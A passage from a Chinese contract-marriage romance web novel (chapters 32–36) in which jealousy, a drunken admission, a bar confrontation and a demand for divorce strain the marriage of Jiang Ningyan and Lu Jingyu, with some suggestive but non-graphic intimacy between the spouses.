江凝烟心跳失控,血液凝住,这架势,是还要算账啊。 天呐,不是白天,是半夜两三点,还要来?! 吻越来越令人晕眩,剥夺了她所有空气,他轻轻撤出的时候,她胸口剧烈起伏,喘气。 他咬着她的唇、她的下巴、她的锁骨,说:“是我的不是。明天让人给你送上几百套衣服,塞满这儿。” 江凝烟:“……” 她的吊带睡裙被剥掉,在这个四周都是镜子,背后边上还有超强的一圈灯带的地方! 陆京御唇往下吻,一边吻一边说道:“喜欢什么首饰,都买。” 他吸了一口她娇嫩的皮肤,她轻轻嘶了一声。 他肆无忌惮地接着吸吻,“那个首饰柜,刚好塞满它。” 江凝烟仰长脖子,看见他吻着吻着蹲下了身。 她的皮肤在燃烧,整个人都在逼近沸点。 “这儿好亮……”她呜咽,伸手去推拒他。 陆京御声音嘶哑地说:“亮更好看。” 江凝烟接着推拒,“别闹了,刚结束。” 陆京御说:“舌/头很软。” 第33章 “早晚会离婚的啊。” 江凝烟再次醒来的时候已经上午十点了。 陆京御已经起床, 在书桌上敲键盘,戴着一副防蓝光眼镜,听见她的动静, 摘掉眼镜便起身朝她走来。 江凝烟视线还模糊呢,看不清他的神情,只知道他高大的身体又要压迫过来。 她把蚕丝被拉过头顶, 死死地藏进被子里。 他竟然真的白天都没去上班! 真的要一天两夜? 太可怕了! 被子里黑黢黢的, 她脑子里想起的是他昨晚宽阔的裸着的背肌, 他一直跪在地上吻她。 被子里的温度越来越烫, 在快要热爆炸的时候, 被子被哗地掀开。 他也不说话, 按住她的肩膀,就吻下来。 手一回生两回熟地卷起她的睡裙。 江凝烟睡了一觉终于恢复了点力气,趁沦陷前用力推拒他,道:“白天不可以。” 但陆京御已经知道怎么样让她一秒沦陷。 江凝烟一下子软下来,像是一滩水, 承受着他的吻, 浑身浸染着他的呼吸。 起来后, 直接吃午饭了。 江凝烟闷不吭声地吃午饭, 冷处理, 算是对他不知节制的对抗。 她真的气死了。一晚上三次, 每次都几小时。 再不给他点脸色看看,她会被弄死。 她生闷气, 陆京御也不说话。 等她吃完了, 放下筷子, 陆京御说:“晚上陪你去吃饭。” 江凝烟猛地眨了下眼睛,陈熠鑫知道她是化雾, 一吃饭肯定露馅了啊。 江凝烟不高兴,沉着脸,“我把饭局取消掉吧,不去了。” 这样总可以了吧。 “不可以。”陆京御不满足于这样。 他要把对方的心思完全扼杀在摇篮里。 江凝烟不敢置信地看着他,他、他、他居然这么霸道!不是很好说话的吗? 不装了是吧? 之前的温柔都是装的是吧? 好好好,把她骗得团团转,露出真面目了。 “跟人约好了,爽约太不礼貌了。”陆京御说道。 江凝烟哂笑,往嘴里塞了一大口米饭,腮帮子鼓起,显得很气,说:“那我自己去,我只是去吃个饭,九点前回家。” 陆京御微笑道:“好。” 江凝烟咽下那口米饭,咽下那口气。 还行,还没有那么疯狂地限制她的自由。 陆京御喝了口汤,慢条斯理地用毛巾擦了擦嘴,“如果你今晚还想像昨晚一样的话。” 他把毛巾随手搁在桌上,莫名气势磅礴。 江凝烟眼睛倏地睁大。 不敢置信地看着眼前这个人。 这是她温柔、善良、斯文的联姻老公陆京御? 她该非常有骨气地拍案而起,狠狠跟他说再见,但是,她没说出口。 她想到昨晚蹲在地上帮她理衣服的陆京御,灯光落在他的身上,背肌都是她的抓痕,他看起来沉默又落寞。好像世界璀璨,他独自被丢在冰冷的地方,寒冷又孤寂。 普通人这种状态有点可怜,但,陆京御这种地位的人这种状态下,容易变得可怕。 她本能地不挑战他,就像昨晚他静静地问她去哪儿,她立刻转进了他的卧室。 再说,就是太爽了点,她还能再忍忍,说不定过两天他就弄不动了,掏空了,节制了。 江凝烟恶劣地想,咱就等着看到底是牛累还是田累。 江凝烟对他扯出一抹微笑,“那你陪我一起去吧。” 反正,以后陈熠鑫上演的剧没有她小号写的那本,只有化雾写的,陆京御应该就能知道了。 早晚遮掩不过去,她也摆烂了。 假如他发现她没有价值,选择跟她结束,那就结束吧。 即便如此,她依旧尽量遮掩,在微信里跟陈熠鑫说了,不要暴露她的笔名。 陆京御一看就不是天天上网冲浪的人,只要不当面揭穿,需要拐个弯的,不一定会立刻想到- 陈熠鑫吃饭的地点定在一个很私密的四合院饭店。来往都是权贵,明星也司空见惯。 江凝烟今天穿了条纯白的长裙,简单又高贵。 陆京御依旧是一身黑色西装,没戴眼镜,霸气侧漏。 陈熠鑫穿了一身红色的西装,白色衬衫,黑色领带,配了黑色的西装裤,视觉冲击力极强,矜贵非凡。 但他看见陆京御跟她手挽手进来,内心里刚燃起的那小火苗就如悬河注火,顷刻间灭了。 江凝烟笑眯眯地跟他说:“学长,给你介绍下,我老公,陆京御。” “幸会。”陆京御跟他握了个手,声音平淡。 “幸会幸会。”陈熠鑫愕然,完全没料到江凝烟的老公竟然是陆京御。 这位贵公子圈子里都知道是金字塔顶端的,只是太高了,几乎够不上。 他从未想过这竟然是他学妹的老公。 江凝烟打量陆京御对外应酬的姿态。 好家伙。 一整个贵公子高不可攀的冷艳高贵啊。 他神情平静,举止礼貌,但自带一股高不可攀的贵气,亲自示范了一次:怎么跟不想打交道的人相处。 陆京御他只是坐在那儿,气场强烈得别人要跟他聊个天都会掂量再三。 并没有那么高傲,是一种绝妙的距离感。 他的神情会让人觉得斯文礼貌,对他很有好感,但并不敢随意亲近。 这样的人,昨晚在她眼前,跪了好几个小时,冷冽的黑眸潮湿地盯着她,吻她。 江凝烟想起来脸蛋发红,立刻把脑海里的画面丢掉。 然而,陆京御看见她发红的脸,以为是她见到陈熠鑫害羞了。 哼,白月光的魅力可真大。 陆京御垂眼整理餐巾,眼皮耷拉着,遮掩发冷的眸光。 陈熠鑫笑着跟江凝烟寒暄,说:“没想到,你初中的时候就喜欢思考问题,长大了还真成了个作家。” 此话一出,陆京御内心冷哼:连喜欢思考问题都知道。 江凝烟不好意思地道:“谈不上谈不上。你才是啊,业务能力真强,演技特别专业,该你红。” 陈熠鑫说:“也不好混,没什么背景,今天红着,明天可能就被人搞得糊了。” 陆京御淡淡瞟了他一眼,觉得陈熠鑫这是唱苦情戏,博取江凝烟同情,好给他资源。 陈熠鑫确实在唱苦情戏,他能在娱乐圈混到这种地步,当然知道江凝烟能嫁给陆京御绝对本身也是大小姐,这种大小姐能成为朋友,他万一有什么的时候还有人帮忙。 但他没想到大小姐的老公对他的误解以及敌意。 江凝烟吹捧他,“你又会跳舞又会唱歌演戏还那么专业,都很喜欢你,没那么容易糊,不用太担心。” 这么全能呢。 挺崇拜。 陆京御亲自给她倒了杯果酒,“这个果酒度数不高。” 45度而已。 早点醉了回家。 上次喝醉了晕晕乎乎在他怀里还挺老实。 江凝烟问:“多少度啊?” 陆京御微笑道:“5度。” 江凝烟点点头,不疑有他,“那给陈大明星也来点。” 陆京御说:“咱俩喝红酒吧。” 陈熠鑫没意见。 服务员给两人倒上酒,陆京御问道:“你们俩年龄相差那么大也能认识?” 陈熠鑫想起江凝烟不让他说她那本瞎写的小本子的事,也尊重她的隐私,含糊其辞道:“她那么出名,肯定认识。” 江凝烟也咪了口酒,没提那本小本子,“长这么帅的学长谁不认识啊。” 陆京御直觉他们有什么事在一起瞒着他,内心暗暗刺痛,好像他们俩有共同的世界,但他被排除在外。 他也没再问他俩怎么认识的。 江凝烟也不聊她的剧,开始聊些娱乐圈的人际关系,比如:“莫迟晟莫影帝跟你关系好吗?” 她也在试图建立她的人脉关系。 莫迟晟他老婆林以棠,当代女杰,特别给力,是商界顶峰的沪上女霸总。 她知道莫迟晟跟陈熠鑫合作过一部电影,两人从此关系就不错。 她也想交些厉害点的姐妹,万一以后有用。 陈熠鑫说:“虽然咖位不能比,但承蒙厚爱,他人真的很好,非常真诚,娱乐圈少见这样的人。对我非常好,我上次去沪城他还请我去他家吃饭呢。” 江凝烟跟他碰了一杯,一饮而尽,说:“改天有机会介绍我认识,我是他粉丝,还特别崇拜他老婆,他俩我一起粉。我是他们的cp粉。” 陈熠鑫听见这话觉得怪异极了。 江凝烟要认识莫迟晟和林以棠,还需要他介绍?陆京御不熟吗?最最顶层的就那么几个人,林以棠是,江凝烟她老公陆京御也是。 他的眼神向陆京御看过去。果然发现陆京御的脸色不好看。 比刚才冷了好几度。 莫非这对夫妻貌合神离,纯粹联姻? 但看陆京御会跟她一起来吃饭,应该是在意她的。之前还有传闻陆京御为了妻子鸽了沪城一众大佬。 但江凝烟提出这个要求,看来跟他并不真正亲近。 陈熠鑫顿时觉得这顿饭是考验他的临场应变能力的了。 他说:“我当然愿意,但网上之前有传陆总为了妻子鸽了沪城那些大佬的宴会,你下次不如陪陆总一起去沪城玩,肯定能见到他们夫妻俩。” 陆京御知道这男人是什么都懂了。 还挺识相。 但他依旧非常不高兴。 这男人是真的不爱。 好不识好歹的一个男人! 居然不爱烟烟! 江凝烟呢? 年少时喜欢过人家,就再也忘不了了? 跟他结婚是形势所迫? 所以怎么着都不肯把那些条款删了好好跟他过? 少女时代确实容易喜欢帅哥,林以棠也是少女时代爱上的莫迟晟,年少的爱最纯粹又最热烈,林以棠对莫迟晟的爱一直延续到七年后重逢,如今她站在商界顶峰依旧只爱莫迟晟。 江凝烟也这么忘不了他吗? 还介绍他们认识? 就这么想跟她的白月光有交集?怎么着?还想让白月光陪她去沪城玩啊? “唔。” 江凝烟单手撑着脑袋,脑袋在手上乱晃,眼看就要支撑不住,“好晕。” 陆京御抱住她,跟陈熠鑫告辞道:“我搞错了,这好像是烈酒。我先带她告辞了。” 陈熠鑫点点头,“好,慢走。” 陆京御打横将她抱起,塞进劳斯莱斯,抱在自己腿上。 她眼皮都搭下了,醉相看着挺老实,只是看起来想睡觉。 他试探地问她:“醉了吗?” 江凝烟含糊地说:“嗯……” “晕吗?” “晕……” 看着有问必答,比清醒时还乖,他问:“想认识他们为什么不直接跟我说?我陪你去沪城走一趟就好了。” 江凝烟模模糊糊地说:“不能……什么都靠你啊。” 陆京御眼眸一眯,骨节在她绯红艳丽的脸颊边婆娑,眼神逐渐变化,声音也听着微凉,“为什么不能靠我?” 江凝烟靠在他肩膀上,酒后吐真言道:“早晚……会离婚的啊。” 陆京御呼吸猛地一顿,心脏像是被前后贯穿刺了个大洞,停住呼吸都疼。 第34章 “我不会爱……” 陆京御忍着胸口破开的大洞, 晦涩地问:“为什么早晚会离婚?万一你爱上他了呢?” 他的声音很轻,好像在恐惧她听到后,真的给出他不想听的答案。 劳斯莱斯车内的光线流转, 荧光落在她白嫩绯红的脸上。 她唔了一声,好像困极了。 陆京御松了口气,手按了按她后脑, “困了睡吧。” “不会爱上的……” 陆京御浑身僵住, 胸口的大洞像是被人用手翻搅了一下, 他手脚温度下降, 整个人像是被冻住了。 她头轻微地随着车晃动, 表情乖巧纯真, 卸下了平时的伪装,一看就知道说着真心话: “我不会爱……” 荧光变幻,陆京御的脸沉入一片黑暗中。 陆京御之后没再说过一句话,把她抱到她自己的房间,用卸妆湿巾给她卸了妆, 喂她喝了几口温水, 帮她脱了鞋脱了礼服。 脱她礼服的时候, 江凝烟昏昏欲睡, 有些恼了, “别弄我了……” 陆京御低着脸, 抿直着唇,给她套上了吊带的睡衣。 陆京御给她盖上了被子, 半夜出门。 当他出现在裴清歌家门口的时候, 裴清歌哂笑道:“大半夜的跑来我这儿, 弟妹不会不高兴吗?” 陆京御手扶着墙,面无表情地看着视频监控, “快开门。” 他上楼,推门进去,环顾他的房子,一套对他们这种阶层的人来说不算大的平层,三四百平。他总算理解为什么他不愿意换栋像他这样大的别墅了。 没有人。 一个人实在太缺人气了。 他这套三百多平的都显得清冷。 “喝点什么?”裴清歌问他。 陆京御说:“随便拿点。” 裴清歌在吧台给他调了杯酒,说:“跟人家相处得不顺利?” 陆京御没吱声,只是坐在吧台上闷了一杯酒。 裴清歌又给他整了一杯,“慢点喝。怎么着?结婚了发现人家心里有人啊?” 陆京御眼神淡淡睨了他一眼。 脖子一扬,又把这杯酒一口干了。 “噔。”的一下。 他把酒杯搁在吧台上,说:“走吧,出去喝酒。你这儿太冷清了。” 裴清歌一哂,“你要在外面找存在感?” 陆京御扭头,手插在兜里,“别窝在家里了,窝在家里再遇见喜欢的人的概率大大降低。” 他总算体会到他爱的人不爱他,这辈子都不会爱他的感觉了。 心里就像是冬天的枯树,又干又裂,但日子还是得继续,天再冷,雪再大,还得在寒风中茕茕孑立。 裴清歌拿了件西装外套跟他出门,笑得风流倜傥,“你是不知道我每天收到多少情书。” 陆京御笑,“有喜欢的吗?” 裴清歌说:“怎么?顾御洲又害怕了?找你来当说客?” 陆京御随手给顾御洲打了电话,“出来。” 顾御洲大半夜的,显然在忙,“有病,大半夜的,已婚男人,出什么啊。” 陆京御说:“让宋枝意一起啊。” 他又不是没当惯电灯泡。 休想丢掉他这个灯泡。 他不好过,谁也别想好过。 顾御洲那问了一下宋枝意,宋枝意答应了。 顾御洲到酒吧的时候,看见陆京御矜贵冷艳地坐在卡座那喝酒,边上有个辣妹大秋天的就穿了件抹胸,双臂裸.露,胳膊肘正撑在沙发背上,沟壑更加明显,波浪卷的长发若有似无地刷到了陆京御的肩膀。 柔软的发丝宽阔硬朗的肩膀,看起来挺暧昧。 顾御洲哂了一声,跟宋枝意说:“他不对劲啊,他老婆呢?吵架了?” 宋枝意给江凝烟发了个定位,然后说:【失物招领。】 对方没有回复。 宋枝意给她打了个语音,对方还是无人接听。 “可能真的吵架了。”宋枝意说。 他们往他那儿走的三分钟,他的卡座沙发背上已经靠满了美女。 而陆京御微微低着头,唇角若有似无地勾着,晃着手里的酒,神情又冷又欲。 顾御洲跟宋枝意损他,“啧,他今天还穿真空西装,这么骚。太不守男德了啊。” 有一群男男女女,其中有个人好像跟陆京御认识,路过跟他打了招呼,聚了过去,坐在他的卡座里。 灯红酒绿落在他的脸上,他在一群人簇拥下看起来依旧亮眼。 陆京御看见他们来了打了声招呼。 顾御洲坐到陆京御边上,跟他悄声说:“干嘛?老婆不要你?” 陆京御向来跟他无话不谈,但这次没吱声,只问:“喝什么酒?” “随便。”顾御洲因为在感情上也淋过雨这方面对兄弟特别温柔,安慰道,“你别太心急啊。感情慢慢培养,都落你手里了,跑不了。” 陆京御跟他碰了一杯,面无表情地仰头喝了口酒,一口干了。 顾御洲心想,不妙啊。 他跟宋枝意对视了一眼。 陆京御平时有什么话都跟他说,这次光闷头喝酒不吱声,确实少见。 可见他的问题很严重。 他问裴清歌,“你知道吗?” 裴清歌说:“不知道,八成情感不顺。” 他们聊天的那丁点功夫,别人来敬陆京御酒,陆京御都是不管杯子里多少酒多少度一口干。 顾御洲看他一连喝了几杯之后,夺下他的杯子,“别一口干,你再这么喝我给你换低度的。” 陆京御睨他一眼说:“你从前要烂醉,我只管把你安全送回家,不管别的。” 顾御洲:“……” 人痛苦到想死的时候,确实只有用酒精来麻痹自己。 如果连麻痹自己的权利都被剥夺,那只会让他更痛苦。 陆京御知道,所以那些年只要他想喝酒,他只陪着,不干涉。 顾御洲拍拍他的肩膀说:“我什么都跟你说,你怎么藏着掖着呢?” 陆京御已经微醺状态,一副摆烂的样子,说:“等我醉了,今晚记得把我送去你家或者我哥家,别把我送回自己家。” 家都不回了? 那江凝烟不得哭? 顾御洲啧了一声,劝道:“别这样,你不回家晚上老婆不得哭了?哭了还不是你心疼?” “她才不会哭,她巴不得我不回去。”陆京御说完这句话又灌了一杯酒。 顾御洲他们三个面面相觑。 陆京御再三叮嘱:“记得,别把我送回我家。” 顾御洲:“好好好。” 这时候,席间忽然有个男人指使自己身边一个特漂亮的姑娘,说:“去给陆总倒杯酒。” 姑娘看起来跟江凝烟差不多大。 模样好似有点害怕,那小鹿一样湿漉漉的眼神加上有些惶恐的模样,挺惹人怜爱,她打量着陆京御战战兢兢地挨过来。 陆京御目光朝那男人射过去,“你哪位?” 男人道:“我是俞西宁的兄弟,弊姓沈。希望陆总别见外,以后都是朋友了。” 陆京御刚才答应他们落座是因为席间有个人他熟悉,俞西宁。 陆京御脊背往沙发后背靠,敞开腿坐着,双腿修长匀称,到底是喝了酒,看起来斯文又浪荡。 他眼神在迷乱的光线下晦暗不明。 有些人玩得很开,自己的姑娘随手就让人了也很正常。 姑娘已经到他边上,穿着很短的短裙,抹胸很低弯腰时沟壑清晰,含羞带怯地叫了声:“陆总。” 顾御洲和宋枝意两人对视着眨眨眼。 宋枝意冷笑。 顾御洲拍了下她的手背,被她不留情地拍开。 顾御洲好无辜,“别凶我啊。” 他还能管陆京御跟谁喝了杯酒不成? 陆京御平时绝对不这样,今晚他这状态他真吃不准了。 他从来没见过他这么失态。 在一起二十来年,失态的一直是他,是他爱而不得,经常买醉,烂醉如泥,陆京御长到二十八岁了,从来都是别人因为得不到他要死要活。 陆京御从来没因为谁或者因为任何事这样过。 二十八年都太顺风顺水了,遇到挫折会怎么样,他也吃不准。 那男人也站到陆京御身边,凑到他耳边说:“姑娘家里困难,我一看特别漂亮的清纯小白花,就怜香惜玉了。巧了,白天刚跟我碰上,我还来不及碰呢。麻烦陆总怜爱了。” 红酒撞击着高脚杯,缓缓盛满了杯底,姑娘没敢倒多,给自己倒是倒了满满一杯。 陆京御哂笑,看着这杯酒唇角牵起,也不知道在问谁,声调清冷,“知道我结婚了吧?” 姑娘的酒杯僵住。 男人也愣了一下,说:“联姻嘛,就那么回事,家里老婆肯定好好宠着的啊,男人总得出来玩的吧。在坐的我们这些兄弟,哪个家里没老婆?” 陆京御眼神射向俞西宁,淡声道:“俞西宁,领着你的朋友们去边上坐。” 什么家里困难也是惯用套路了,分明就是在纵情声色,偏偏搞得自己好像是救世主。 没眼看。 顾御洲松了口气,挑眉看了眼宋枝意。 俞西宁一怔,这位今天算是给面子了,碰到了同意让一起坐下来,这时候被赶走,以后就再也不用往他边上坐了。 那男人当然也知道,试图努力补救,笑呵呵地说:“陆总这样的,老婆肯定睁一只眼,闭一只眼,不会太较真,绝对害怕失去你。” 陆京御转着酒杯神情淡漠不语。 那男人说:“再说,我给您说个千真万确的消息,您太太在赵家江家也不受宠,您别被她和她家里人骗了。” 陆京御晃着酒杯的手指一顿。 男人说:“没人告诉您吧?唉,您说咱要是早认识就好了。据说不光是不受宠的地步,是都嫌她多余,陆家要真碰到什么事,她绝对被她家族舍弃。但她家要有什么却会扒着陆家。她才舍不得跟您闹呢。” 陆京御眼神一凛,抬脚一脚踹在男人的肚子上。 “叮叮咣咣——” 男人摔倒在吧台上,撞翻了酒瓶子,在桌上嚎叫。 所有人都屏住呼吸,愕然失语。 俞西宁从没见过陆京御发这么大脾气,反应过来之后,立刻道歉道:“唉哟,抱歉陆总,他会这样我还真不知道。我平时可不这样,我跟他没认识多久,刚巧碰到在玩而已。” 陆京御浑身都散发着凌厉的压迫感,寒声道:“我老婆是你能议论的?” 第35章 “陆京御,我要离婚。” 出了这茬, 陆京御在这酒吧也待烦了,四个人去裴清歌家里接着喝,喝了很多之后, 陆京御忽然蹦出来一句: “她有白月光。” 陆京御手指支着额头,刘海微微遮了眼,眸底的光稀疏破碎。 三人面面相觑。 气氛沉默。 裴清歌亲自调了杯蜂蜜水给他解酒, 搁在桌上, 推到他手边。 顾御洲沉吟了片刻, 安慰道:“白月光这东西太虚了, 晒也晒不着, 摸也摸不着, 跟你这太阳没法比。人,可以看不见月亮,但绝对不可以看不见明天的太阳。” 顾御洲最是了解陆京御,长相看着高冷,实则是颗太阳。他一直觉得谁嫁给陆京御那肯定是上辈子拯救了银河系。现在联姻的结果竟然是这样, 这让他不甚唏嘘。 他非常担心陆京御的状态, 陆京御不像他, 没吃过苦头。 陆京御低头, “她说她绝对不会爱上我的。” 气氛又是一阵沉默。 这一下把顾御洲搞语塞了。 再开口的时候, 他全然是陆京御立场, 为了陆京御好,“如果她真那么笃定, 那就早点结束。听我的, 别陷下去。” 宋枝意掐了下他的腰, 低声说:“劝和不劝离,你干什么呢?” 顾御洲捏住她的手, 顺势握住,说:“见不得他吃苦。我得不到你的时候,无数次想死。我们是成了,万一他一辈子都在吃这种苦,最后还得不到爱,不是很惨?” 宋枝意:“……” 边上的裴清歌凉飕飕地说:“你在说……我吗?” 顾御洲:“……” 宋枝意:“……” 顾御洲跟裴清歌碰了杯酒,然后,啐他道:“你适可而止。别在那装情圣,吓唬谁呢?你肯定眼里只有你的科研。成日里就是不想让我好过。恶劣。” 裴清歌不予置评,在陆京御这方面倒是赞同顾御洲,“京御,对自己好点吧,她确定不会爱,捂也捂不热,那就分开。” 陆京御低头坐在裴清歌家能眺望璀璨市中心的吧台上,头顶的射灯射在他乌黑的头发上,唇线拉得很直,半耷着眼皮看着他的酒杯沉默。 一时间所有人都不再说话。 吧台上宽扁的烛火在玻璃罩里跳跃,逐渐的,蜡油像眼泪一样流出来,燃到底部。 “舍不得。”陆京御轻声呢喃了一句。 所有人都屏息看着他。 顾御洲心想:完了,他完了,陆京御他完了。 裴清歌心想:好了,有人作伴了。 陆京御仰着头,看着天花板的射灯,脖子很长,喉结端正却锐利,很性感。 射灯的强光刺得他眼睛发疼,“你们没听到今天那人怎么说她的。” 陆京御想起来心脏更加紧缩,像是被刺穿了,想想就疼痛,“我要是放手,等她需要的时候,发现没有人可以靠,她怎么办?” 陆京御站起来,身形微晃,说:“在我身边,起码风吹不到,雨淋不到,跌倒了有我接着。”- 江凝烟第二天起来之后。 喉咙干得发疼,起来想喝水,发现床头有杯水,取过来喝。 看见手机里有未接电话未读消息,她查看了下,脸色顿时一变。 宋枝意打她电话? 【失物招领。】 酒吧? 她心脏猛地一坠,像极了蹦极的失重感,让她恐慌,手脚冰冷。 陆京御昨晚半夜去酒吧了? 她立刻翻身下床,跑去隔壁房间。早上六点,陆京御的床整整齐齐的,完全没有睡过的痕迹。 江凝烟心里一刺。 他昨晚没回家? 去了酒吧,就直接在外面睡了? 跟别的姑娘? 她身侧的手指轻轻颤了一下,血液像是凝到了指尖,整条手臂都虚浮无力。 是因为他在床上弄了她一夜都没能弄出她一个“爱”字…… 生气了,走了? 他房间的窗户上噼里啪啦砸着雨珠,水珠凌乱地爬满整片玻璃。 外面是阴沉沉的雨天,屋里很暗很暗,暗到她多待一会都觉得窒息。屋子也空荡得发冷,冷到她立刻想走。 她到了衣帽间,把她的箱子拿出来,再把他放上去的衣服一件件取下来。 在衣帽间里,两人做的事历历在目。 没关系,她没关系。 这本来就是她主动想体验的。 她体验过了。 可以,结束了。 反正跟谁体验都是体验,跟陆京御,好歹他长在她的审美点上。 没关系。 都没关系,这几天在她人生中一点都不重要。 在她二十一年的生命中占的时间也就是沧海一粟。 她想到理行李被陆京御发现,心想这时候带着行李箱阿姨也会看见,会告诉陆京御。 她衣服也不要了,行李箱也不要了,只带了自己的电脑走。 她一反常态地订了最纸醉金迷的酒店套房,楼上楼下都有各种酒吧,还邀请了王亦薇和林嘉宇一起。 王亦薇兴奋地道:“我的天呢!真请我们啊?这不好吧?” 江凝烟口气很大地说:“今天,你要是不陪我去,不住我的、吃我的、喝我的,就是不给我面子。” 王亦薇乐了,“好好好!遵命!我来了!” 江凝烟把何澜也叫了出来,坐上自己新提的宾利,带着保镖们浩浩荡荡气势如虹地去了酒店。 她忽然觉得她真的太乖了,居然没有夜店风的衣服。 白天就去商场里刷了身性感风的衣服。 江凝烟选了条裙子布料比较少,上衣银色亮片,下衣黑色包臀裙。 王亦薇连连夸赞她,“好有料啊。平时就觉得你有料,这么穿完全显出来了,这有点劲爆啊。” 江凝烟平时走的端庄风,穿衣服不会露一点儿沟,今天衣服领口低,露了点沟壑。 江凝烟有D。 真不小,不用挤也很显。 到了傍晚,陆京御发她微信:【在哪儿?回来吃饭。】 她直接关机。 她跟王亦薇情绪高涨地喝了点酒,就去舞池里舞。 江凝烟的五官和气质都属于顶尖的,酒吧里七彩旋转的蹦迪灯变幻地落在她脸上,舞起来身材惹火,热辣性感得瞬间成为全场的焦点。 喧哗嘈杂不断,空气里布满荷尔蒙的躁动。 江凝烟舞得昏天暗地,完全不知道边上卡座有人在议论她,还录了一段她的视频。 “瑶瑶,这不是江凝烟吗?” “是啊,陆京御在吗?” “没看见诶。” “她是个玩咖?才结婚就出来玩?” “看起来就很会玩。陆京御这下有苦吃了,千挑万选挑了个这么会玩的。” “当初不跟你结婚的下场。” 张兮瑶喜欢陆京御有些年了,也曾主动找上陆家联姻,虽然家世跟陆家比差一点,但好歹人长得算漂亮,家境也不错,两家家长都认识,却被一口拒绝了。 张兮瑶一千金大小姐当然觉得丢脸,但还是伤心居多。陆京御结婚了,她彻底没戏了,经常来这儿买醉,却恰好看见这一幕。 她不禁好奇,什么样的婚姻啊,会在蜜月期就跑出来玩。 陆京御知道吗?是背着他还是两人有什么不愉快? 这么一想,好像死去的细胞都在活过来。 她随手找自己身边的男性朋友,让他上去跟江凝烟跳,贴着她点。 江凝烟正舞得高兴呢,发现边上何澜她们都被挤开了,一个不知道哪儿来的男的想贴着她跳跟她互动,江凝烟蹙了下眉,觉得没劲了,直接走下了舞池。 走下去的时候,那男人也跟了下来,江凝烟转身骂了他一句,直接让保镖们把他挤开。 把这男人弄开之后,江凝烟忽然发现自己不对劲。 凭什么陆京御到了酒吧可以找人睡觉,自己连别的男人贴一下都嫌恶心。 但她又很快觉得那不是她的问题。 那是这个男人根本不能看。 没什么优质的,她当然没兴趣。 觉得自己胡思乱想,她又回到舞池消耗体力。 这次依旧有很多男人围着她跳,但隔开了一点距离。 陆京御就是在这时候到的酒吧。 他从舞池中将人拽出来,带到酒吧外面,直接塞进车里。 江凝烟被他拉着走的时候,一路都在抗拒他的手,可他越抓越紧,之前有多喜欢他的手,现在就有多抗拒。 她觉得好脏。 好脏好脏。 这双手也会去摸别的女人,弄别的女人。 好烦,好讨厌。 说什么爱她,都是骗她的,爱是这样的吗? 她没说爱他,他就立刻转向别人了? 几天的耐心都没有。 这叫爱? 根本不爱。 为什么要骗她? 为什么要在她心里种下希望的种子? 本来他们俩得假扮夫妻一起玩玩也可以啊,可是他为什么要说爱她,其实根本不爱她? 她用力甩开他的手,抵住车门,不肯上去,语气很重地说:“你放开。” 陆京御不放,手将她纤细的手腕箍得很紧,表情很严肃地说:“回家。” “陆京御,我要离婚。”说出来之后,江凝烟表情忽然放空,神情像是雾一般飘渺。 秋夜的风吹在江凝烟的脸上,繁华热闹的地方也莫名萧瑟衰败。 好像心里长出来的一汪温泉全部在瞬间冻住了。 江凝烟后知后觉知道自己对爱情向往了,误会了。 误以为陆京御给她的是真爱。 就算她不会爱,是个人都会向往,一个人真正的爱自己。 之前他为她而战实在太震撼,让她开始期待。 但现在想想,陆京御这样的人保护女人是出于一腔热血吧,如果他有一百个女人,这一百个女人他都会保护。 这并不冲突,保护她不一定就是因为爱她。 保护过她,也并不一定永远只爱她,只碰她一个人,只属于她一个人。 现在抽身也好,离婚,趁还没有过分期待。 陆京御胸腔像是被狠狠劈了一刀,那瞬间他觉得自己甚至能看见自己血淋淋的破碎的心脏,它鲜血淋漓地在洞口越来越缓慢越来越沉重地跳动。 江凝烟眼睛注视着他。 他会同意的吧。 他答应过她的。 随时都能提出离婚。 但她发觉比她想象的还要痛苦。这些天已经搅乱了她。 她总是在跑,一言不合就离家出走,但她发现她心底其实像个幼稚的孩子,潜意识里就是希望他追过来,她其实一次次地在试探他的重视。 以后,不用再试探了。 她不用再做这种幼稚的行为。 答案已经很清楚了,他没有多重视。 她几天不说爱他,他就受不了,转向她人。 她心脏抽痛着,像是被无数根针扎着,秋风灌入喉咙口,浇灌得她喉咙像是枯叶一般干枯,吞咽张口都是苦涩的味道,“我要离婚,我们约定好的。” 第36章 “我给你……你最脏脏的地方” 劳斯莱斯的双跳灯在闪烁, 像人的心跳声。 酒吧招牌门口,挺有格调的酒吧灯光忽然暗了下来,灰扑扑的冷色调的青墙向他们压来。 两人沉入一片死寂中, 像两尊灰败的雕像。 陆京御的唇线拉直,喉结滚动了下,神情被暗淡浸透, 挺直的身体僵硬地站立着, 路过的车灯射到他的脸上, 他撇开脸, 再转回来时, 唇角勾起, 一哂,“是因为陈熠鑫吗?” 听到陈熠鑫名字的那一刻,江凝烟脑子里全是戾气,那一瞬间,她对陆京御的美好滤镜彻底碎了。 他们离婚, 关陈熠鑫什么事? 他们离婚, 他还想把责任推到她头上? 这么不负责任的, 现在认清他也好。 她眸光冷凝, 尖锐又讽刺地说:“我们离婚, 关陈熠鑫什么事?” 陆京御见她这副盛气凌人的样子, 气也不打一处来,脾气这东西好像会传染, 像是埋在一起的火药一样, 一个炸了, 另一个也炸了。 只不过陆京御的炸是浑身气势更加强烈,声音不响, 但满满的压迫感,“你再骗我?” 他居然还那么凶! 江凝烟气死了! 怒火将她囫囵吞没,她浑身都在抖,几近头晕眼花。她剧烈喘息着,不断吸气呼气,这让她没能在第一时间反驳他。 陆京御:“不关陈熠鑫的事为什么刚好在他出现之后提离婚?” “是因为你脏!”江凝烟终于怒吼出声。 乌黑的眸子瞪着他,眼底亮晶晶的,但都是火气。 她胸口起伏,好像连呼吸都嫌脏一样,每次呼吸表情都看起来很痛苦,她的呼吸紊乱急促,长短不一。 陆京御震住,不敢置信,下意识地反问:“你说什么?” “是因为你脏!”她的表情又气又崩溃,脸蛋通红,嘴巴张开着呼吸,好像随时有团火会从她的口中炸出来,黑黢黢的眼睛瞪得很凶但像是要渗出水来。 陆京御愕然。 江凝烟情绪像是倾泻的洪水,一股脑儿的宣泄给他,身侧的拳攥紧,臂膀都在颤抖,“陆京御,你记住,我们离婚是因为你睡别的女人,你休想把离婚的责任推卸给我!” 陆京御看着她的样子错愕。 “就算我没说爱你,那又怎么样了?”她冷笑着,胸腔剧烈起伏,气息不稳,却针针见血地道,“我们结婚的时候就是不爱的啊。我本来就是为了利益,你不知道吗?” 残酷的婚姻真相被她赤裸裸地揭开,她眼神阴鸷甚至充满恨意。 她尖锐地刺他道:“你现在结了一个月,你就想要我爱你?陆京御,幸亏我不爱你,你一言不合就睡别的女人,你哪来的脸让我爱你?” 